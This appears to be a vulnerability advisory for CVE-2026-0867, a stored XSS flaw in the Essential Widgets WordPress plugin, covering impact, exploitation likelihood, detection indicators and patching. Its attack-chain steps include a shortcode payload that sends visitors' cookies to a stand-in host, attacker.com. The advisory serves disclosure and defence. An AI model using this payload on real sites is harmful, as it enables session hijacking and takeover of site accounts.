CVE-2026-0867: 
WordPress vulnerability analysis and mitigation

CVE-2026-0867 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Widgets plugin for WordPress, developed by CatchThemes. It affects all versions up to and including 3.0, where insufficient input sanitization and output escaping on user-supplied attributes in the ew-author, ew-archive, ew-category, ew-page, and ew-menu shortcodes allow authenticated attackers with contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on February 5, 2026, and was partially addressed in version 3.0. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient sanitization of user-supplied attributes passed to the plugin's shortcodes and inadequate output escaping when rendering those attributes in HTML. An authenticated attacker with at least contributor-level WordPress access can embed malicious JavaScript payloads within shortcode attributes (e.g., [ew-menu attribute="<script>...</script>"]) in a post or page. Because the plugin fails to sanitize or escape these attributes before rendering, the injected script is stored in the database and executes in the browsers of any user who subsequently visits the affected page. The attack vector is network-based with low attack complexity and low privileges required (Wordfence, Wordfence Weekly Report).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session when they visit an injected page, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites. The scope is changed (S:C), meaning the injected script can affect users beyond the attacker's own session, including site administrators. Confidentiality and integrity impacts are rated low, with no direct availability impact; however, if an administrator's session is hijacked, full site compromise becomes possible (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-0867 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Essential Widgets plugin at version 3.0 or below using tools like WPScan or by inspecting page source for plugin references.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a malicious payload into a vulnerable shortcode attribute, for example: [ew-menu class=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit the content: Save or submit the post/page so the payload is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session cookie theft, credential harvesting, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode parameters.
• Database: Unexpected <script> tags, JavaScript URIs, or HTML event attributes (e.g., onerror, onload) stored within post content fields in the wp_posts table, particularly within [ew-author], [ew-archive], [ew-category], [ew-page], or [ew-menu] shortcode attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing Essential Widgets shortcodes, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified PHP files in the plugin directory (/wp-content/plugins/essential-widgets/) that could indicate secondary compromise (Wordfence).

The vulnerability was partially fixed in version 3.0 of the Essential Widgets plugin, with additional fixes applied in subsequent changesets (SVN revisions 3440541 and 3447282). Site administrators should update the Essential Widgets plugin to the latest available version beyond 3.0 to ensure full remediation. As an interim workaround, restrict contributor-level user permissions or disable the affected shortcodes until a fully patched version is applied. Regularly audit user roles and limit the number of accounts with contributor access or above (Wordfence, Plugin Changeset 3440541, Plugin Changeset 3447282).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability intelligence report for the week of February 2–8, 2026, noting the partial fix in version 3.0 (Wordfence Weekly Report). The vulnerability was also tracked by ENISA's EUVD database (EUVD-2026-5538) and referenced by Spanish national cybersecurity agencies INCIBE-CERT and CCN-CERT. No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.